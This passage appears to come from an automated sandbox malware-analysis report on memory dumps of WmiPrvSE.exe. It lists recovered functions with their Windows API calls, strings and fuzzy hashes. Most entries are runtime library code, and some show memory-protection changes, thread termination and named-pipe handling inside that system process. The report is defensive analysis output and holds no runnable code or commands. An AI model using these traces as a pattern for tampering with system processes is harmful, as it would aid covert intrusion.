C:\Windows\system32\wbem\wmiprvse.exe, xrefs: 00000224644761A9, 00000224644761B1

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\wbem\wmiprvse.exe
API String ID: 3168794593-1259001766
Opcode ID: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction ID: e9f7dae1fab4b7b5255c6d765aaba752519f6a0bb75ed83f8a29e95d0e04611c
Opcode Fuzzy Hash: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction Fuzzy Hash: 01210967508AC0AAEA70EFA59C5F26C37AAF747BE5F895015DF4943B4BDF2484068700

Function 000002246446CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002246446CFAF
FlsSetValue.KERNEL32(?,?,?,000002246446D6B5,?,?,?,?,000002246446D778), ref: 000002246446CFE5
FlsSetValue.KERNEL32(?,?,?,000002246446D6B5,?,?,?,?,000002246446D778), ref: 000002246446D012
FlsSetValue.KERNEL32(?,?,?,000002246446D6B5,?,?,?,?,000002246446D778), ref: 000002246446D023
FlsSetValue.KERNEL32(?,?,?,000002246446D6B5,?,?,?,?,000002246446D778), ref: 000002246446D034
SetLastError.KERNEL32 ref: 000002246446D04F

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 953fb656c1a5e7654f19902a68dd3d8d9d0f57ddcaac15db275c38b9c8d208f5
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 36115760305340A1FEB8B7F5665F339624A6B9B7F4FA44715D87647FDEDE68C4028A00

Function 000002246446199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000224644619C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000224644619E0
PathFindFileNameW.SHLWAPI ref: 00000224644619EF
lstrlenW.KERNEL32 ref: 00000224644619FB
StrCpyW.SHLWAPI ref: 0000022464461A0E
CloseHandle.KERNEL32 ref: 0000022464461A1C

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: adc9a817d258881fd196d69178090ff1622023928cb7a8209e4b631cbdfc50f7
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 25018C31300A8092EF60EB92B84D76967AAF789FD1F884035DE4943B59DF3CC98AC740

Function 00000224644636C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000224644636E4
GetCurrentProcess.KERNEL32 ref: 00000224644636F2
VirtualProtectEx.KERNEL32 ref: 0000022464463714
GetCurrentProcess.KERNEL32 ref: 0000022464463732
VirtualProtectEx.KERNEL32 ref: 0000022464463753
TerminateThread.KERNEL32 ref: 0000022464463762

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 20dfc97ff248f3739827035c9928784f0eadb1a3e9421905e56d591f815e0822
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 82012D6531178096FF74BBA2E80E37567A9BB56BA6F844428CD4907F58EF3DC5098B00

Function 0000022464469005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022464469013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000224644690A8
RtlUnwindEx.NTDLL ref: 00000224644690F7

Strings

csm, xrefs: 000002246446908E
f, xrefs: 0000022464469026

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: d2c190010534908993f02625561021bf305de032bda121dbcda214e7a0667142
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2951A332701600E6EFA4EB55E44DBB9379EF346B99FA48524DA0647B8CDBB6C841CF00

Function 0000022464468FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022464469013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000224644690A8
RtlUnwindEx.NTDLL ref: 00000224644690F7

Strings

csm, xrefs: 000002246446908E
f, xrefs: 0000022464469026

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 403bbb061c88159d8dbeda6a0340d3399d244e6990b33f5adebd6e603dce4312
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 94319E32300640E6EFA4EF51E84E7693BADF342B98F958414EE5607B8DDB7AC941CB04

Function 0000022464461A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000022464461A60
StrCmpNIW.SHLWAPI ref: 0000022464461A7A
lstrlenW.KERNEL32 ref: 0000022464461A89
StrCpyW.SHLWAPI ref: 0000022464461A9E

Strings

\\?\, xrefs: 0000022464461A6E

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: b43a14c131ac2fc6fcd4ddf2d1e009e82513b7f79058703f217057bdacabd73f
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 81F0AF22300640A2EF70AFA0FA897696769F749B98FC45021CA4946D5CDF3CC68ECB00

Function 000002246446BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002246446BCBD
GetProcAddress.KERNEL32 ref: 000002246446BCD3
FreeLibrary.KERNEL32 ref: 000002246446BCFA

Strings

CorExitProcess, xrefs: 000002246446BCCC
mscoree.dll, xrefs: 000002246446BCB4

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 3c386243357e00dbef162a6231f3403eec47c77efed3a0e8b81b1e06ba9f80a5
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 5DF06261311B45A1EF30BFA4E44E3796369EB86B71FD41219DA6A459ECCF2CC146C700

Function 0000022464463044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000022464463066
StrCpyW.SHLWAPI ref: 0000022464463076
StrCatW.SHLWAPI ref: 0000022464463082
PathCombineW.SHLWAPI ref: 0000022464463090

Strings

\\.\pipe\, xrefs: 000002246446305C

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 219d9db00b65c781e5955a1877dd2774fcf4abd58d1e4472959dfe5fb5cbb67c
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 62F08260314B80A2EE64AB93B90D139676AAB4AFD0F846030EE4607F1CDF3CC44BC700

Function 00000224644650D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022464465156

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 3f388cc176ee42d3324fc146a927625b36c4e92b72381d41904f326ac6c66b9c
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 5602D832219B8496EBA0DB95F49936AB7A4F3C5794F500116EA8E87BADDF7CC444CF00

Function 0000022464465710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022464465726

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: ba3dfe25c340fd3b7bfdcdaa06f4cbf9f3dc059c1706f66e384b30fb40782212
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 8F61FA36618B40D6EBB0AB95F48932A77A4F389794F900216EA8D47FADDB7CC450CF00

Function 0000022464443504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002246444352C
_set_statfp.LIBCMT ref: 0000022464443547
_set_statfp.LIBCMT ref: 0000022464443563
_set_statfp.LIBCMT ref: 000002246444359F

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 30a2fff991300143e01505537aaf101f5d5793d333cd5b145f696a73dea32970
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C1113323B54F5231FE7835E8E45F3791189EB5BBBCFD88A28A97606EDECA34C8514100

Function 0000022464474104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002246447412C
_set_statfp.LIBCMT ref: 0000022464474147
_set_statfp.LIBCMT ref: 0000022464474163
_set_statfp.LIBCMT ref: 000002246447419F

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 44857d3d939d5db6289e3c9830a7dcdfa0cccb772fd628584e637a162f0a1988
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: A2115126A10E6531FE7535E9D45F375114DEB6B3F9FD90624E97606EDE8B28C8434200

Function 0000022464469650 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002246446966F
SetLastError.KERNEL32 ref: 00000224644696F6

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction ID: 7c8612e01c24415eb1c863d2fe99913f937ce5cc85331b76fa3f32e9de067aa4
Opcode Fuzzy Hash: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction Fuzzy Hash: 8B119320301391F2FFB4BBA5984E378269E6B477E0F984624D92607FDEDE69C801CB00

Function 000002246443F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002246443F124

Strings

Tuesday, xrefs: 000002246443F0F4
Wednesday, xrefs: 000002246443F1ED
or copy constructor iterator', xrefs: 000002246443F25A, 000002246443F275

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 7c44c2b3e09a4dfea30cf43eb7f97bb81abfb8e673111949709b4d6a33b8f505
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 9A61A236502640A2FE7BFBEAE54F33A66AAE743F45FD04415DA0A17FADDA34CC418600

Function 000002246446AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002246446AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002246446AAB7

Strings

MOC, xrefs: 000002246446AA7C
RCC, xrefs: 000002246446AA85

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 14ce98710c487a19aa707a7e49f3e87516ba91466e207d7409f9994adf290151
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 5861AD73700B84DAEB60EFA5D4453AD77A8F746B88F444216EF4A23B98DB78C495CB00

Function 000002246443A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002246443A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002246443A288

Strings

csm, xrefs: 000002246443A2DA
csm, xrefs: 000002246443A1C2

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 8253c1af8ae38c11a396d1e75753649282e4437fa8640d4729849655104b9feb
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 6251B032240280DAEF75AF97944A37877A8FB56F94F984215DA9997FC9CB38C450CB01

Function 000002246446AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002246446ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002246446AE88

Strings

csm, xrefs: 000002246446AEDA
csm, xrefs: 000002246446ADC2

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 39c2cc989ace955bcb319b9185e1004572a062623c5feb59cd67706f28871d3f
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 8051A072300B90DAEFB4AF91D08936877A9FB57B84F94411ADA4957F99CB78C450CF01

Function 0000022464438405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022464438413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000224644384A8

Strings

f, xrefs: 0000022464438426
csm, xrefs: 000002246443848E

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 564ea3ce2a168288f63db63f69d129bd20659fb93ab271b1718c18da0c027efe
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2B51A132701600A6EF26EF96E44AB39B7D9F356F98F918124DA1683F8CEB34C941C704

Function 00000224644383E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022464438413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000224644384A8

Strings

f, xrefs: 0000022464438426
csm, xrefs: 000002246443848E

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 7db9c93f0b409a0537a57def2a8a6dbd75289ca9e52efc623648b363d20d2a1b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 81319371201740E6EF26EF92E84A729B7A8F752F98F958014EE5687F4CDB38C940C704

Function 0000022464472058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000224644720D7
WriteFile.KERNEL32 ref: 000002246447239F
WriteFile.KERNEL32 ref: 00000224644723E5
GetLastError.KERNEL32 ref: 000002246447249B

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: e3a8063712e75396f67851cf8a850686dc90b0e270d7f4da18cb4b6b6c087b1e
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: ECD1DE32B14A80A9EB21DFA9D4492EC3BB9F3567A8F804216CE5997F9DDE34C407C740

Function 0000022464472980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000022464472A9C
GetLastError.KERNEL32 ref: 0000022464472B27

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 1d953b1b96a10ed94b814bc67f93eb5914335e8821194b77ab47b3943bb794b4
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: F791AF62700650A9FF70AFA5944A3FD2BA8F756B98F944109DE0A67E9DDE34C487C700

Function 0000022464467960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002246446798C
GetCurrentThreadId.KERNEL32 ref: 000002246446799A
GetCurrentProcessId.KERNEL32 ref: 00000224644679A6
QueryPerformanceCounter.KERNEL32 ref: 00000224644679B6

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 49729d7bb665b277eecb2b7822ffcddad52ec22a5eeb45bf1ded5bc81be64f27
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 67115622710F0199EF10DFA0EC593B833A8F71A768F841D25DA6D46F98DF78C1998380

Function 000002246446253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000022464462620
StrCpyW.SHLWAPI ref: 0000022464462639

Strings

\\.\pipe\, xrefs: 000002246446262B

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 692f56f3e68a0bd5ff6f714ab354ce4cc5ee1c0b78c9aa55cc661b8b38ab7b27
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 4F71A336300781B6EFB5BEA5984A7FA6798F386785F840026DD0957F8DDE35C545CB00

Function 0000022464439E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000022464439EB7

Strings

MOC, xrefs: 0000022464439E7C
RCC, xrefs: 0000022464439E85

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: b9a811a4904848de9828876c4a615e8b4a783f40caef0dea7608102fadd4e038
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 76619A33A00B84DAEB21EFA6D0863AD77A4F745B88F444215EF4917B98DB39D195C700

Function 0000022464462330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000022464462416
StrCpyW.SHLWAPI ref: 000002246446242D

Strings

\\.\pipe\, xrefs: 0000022464462421

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: e7a7cc6d5d9553ddfce0acb45bd4c4f7b523b503f242fc36f51f00086c33405e
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 4F51BE22304781B1EEB4BAAAA45E3FA679AF386784FC40125DE5913F9DDE39C5058F40

Function 00000224644726F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000022464472807
GetLastError.KERNEL32 ref: 0000022464472829

Strings

U, xrefs: 00000224644727B3

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: fb82908054afb1caaaaf5d6b9789e4cf28137658d2ed8255682dd1f129f631a6
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
